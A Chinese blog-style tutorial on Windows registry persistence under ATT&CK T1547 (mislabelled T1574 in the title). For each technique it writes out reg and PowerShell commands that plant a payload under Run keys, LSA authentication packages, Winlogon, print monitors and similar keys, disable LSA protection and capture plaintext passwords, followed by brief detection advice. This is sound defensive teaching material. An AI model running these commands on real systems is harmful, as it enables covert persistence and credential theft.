ATT&CK中的攻与防——T1574
字数 1143 2025-08-23 18:31:34
Windows注册表持久化技术详解(基于ATT&CK T1574)
1. 注册表Run键持久化(T1547.001)
攻击技术
常见Run键位置:
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runonce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runservicesonce
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runservices
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservicesonce
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservices
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\windows\currentversion\runOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
添加方法:
- 使用reg命令:
reg add "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run" /v calc /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe"
- 使用PowerShell:
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run" -Name "evil" -PropertyType String -Value "C:\Users\axingg\desktop\evil.exe"
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run" -Name "test" -Value "C:\Users\axingg\desktop\evil.exe" -Force
- 导出-修改-导入技术:
reg export "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" c:\users\axingg\desktop\abc.reg
(修改abc.reg文件)
reg import c:\users\axingg\desktop\abc.reg
防御检测
- 监控reg add、New-ItemProperty、Set-ItemProperty等命令
- 检测上述注册表键值的修改
- 特别关注CompatTelRunner.exe的行为
2. 认证包修改(T1547.002 & 005)
攻击技术
修改LSA认证包:
reg add "hklm\system\currentcontrolset\control\lsa\" /v "authentication packages" /d "C:\Users\congya\desktop\mimi.dll" /t REG_MULTI_SZ
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "C:\Users\congya\desktop\mimi.dll" /t REG_MULTI_SZ
效果:重启后可获取明文密码(存储在C:\Windows\system32\kiwissp.log)
防御检测
- 监控LSA相关注册表修改
- 检测异常DLL加载
3. 时间提供程序修改(T1547.003)
攻击技术
修改时间提供程序DLL:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_EXPAND_SZ /d "C:\Users\axingg\Downloads\w32time.dll"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_EXPAND_SZ /d "C:\Users\axingg\Downloads\w32time.dll"
激活方法:
sc stop w32time
自定义时间提供程序:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\gametime" /v DllName /t REG_SZ /d "C:\Users\axingg\Downloads\w32time.dll"
rundll32 gametime.dll,Register
防御检测
- 监控W32Time服务相关注册表
- 检测rundll32异常调用
4. Winlogon Helper DLL修改(T1547.004)
攻击技术
修改Userinit和Shell值:
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "userinit" /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe,"
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "shell" /t REG_SZ /d "C:\Windows\system32\cmd.exe,"
添加Notify DLL:
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /v "login" /t REG_SZ /d "C:\Users\axingg\desktop\evil.dll"
防御检测
- 监控Winlogon相关注册表修改
- 注意:修改HKLM的Userinit和Shell值可能导致系统异常
5. LSASS驱动相关(T1547.008)
攻击技术
修改SDProp频率:
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600
关闭LSA保护:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 0
添加LSA扩展:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\Users\axingg\Desktop\lsass_lib.dll"
防御检测
- 监控LSA相关注册表修改
- 检测LSASS异常行为
6. 快捷方式修改(T1547.009)
攻击技术
目标目录:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
获取桌面位置:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
防御检测
- 监控启动目录的lnk文件修改
- 检测异常快捷方式创建
7. 端口监视器(T1547.010)
攻击技术
添加恶意端口监视器:
reg add "hklm\system\currentcontrolset\control\print\monitors\T1547" /v "Driver" /d "C:\Users\axingg\Downloads\msfevil.dll" /t REG_SZ /f
防御检测
- 监控打印监视器相关注册表
- 检测异常DLL加载
8. 打印处理器(T1547.012)
攻击技术
修改打印处理器:
reg add "HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\winprint /v "Driver" /d "C:\Users\axingg\Downloads\DEment.dll" /t REG_SZ
reg add "HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc /v "Driver" /d "C:\Users\axingg\Downloads\DEment.dll" /t REG_SZ
防御检测
- 监控打印处理器相关注册表
- 检测打印服务异常行为
9. Active Setup(T1547.014)
攻击技术
添加Active Setup项:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil" /v StubPath /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil" /v "@" /t REG_SZ /d "test for congya"
激活方法:
RunOnce.exe /AlternateShellStartup
防御检测
- 监控Active Setup注册表项
- 检测RunOnce.exe异常调用
注册表键重命名技术
使用Python脚本重命名注册表键:
import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys
def rename_key(reg_handle, key, key2):
key_handle = HKEY()
key_result = DWORD()
a = ctypes.windll.Advapi32.RegCreateKeyExA(reg_handle, key, 0, None, 0x00000000, 0xF003F, 0, byref(key_handle), byref(key_result))
c = ctypes.windll.Advapi32.RegRenameKey(key_handle, 0, LPCWSTR(key2))
使用方法:
python2 script.py rename_key "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" "123123"
防御总结
- 监控所有注册表修改操作,特别是上述提到的关键路径
- 检测异常进程创建(如rundll32、RunOnce.exe等)
- 实施应用程序白名单
- 监控系统目录的DLL文件修改
- 定期审计启动项和计划任务
- 启用LSA保护等安全功能
- 监控打印相关服务的异常行为
通过全面监控这些注册表位置和相关系统行为,可以有效防御基于注册表修改的持久化攻击。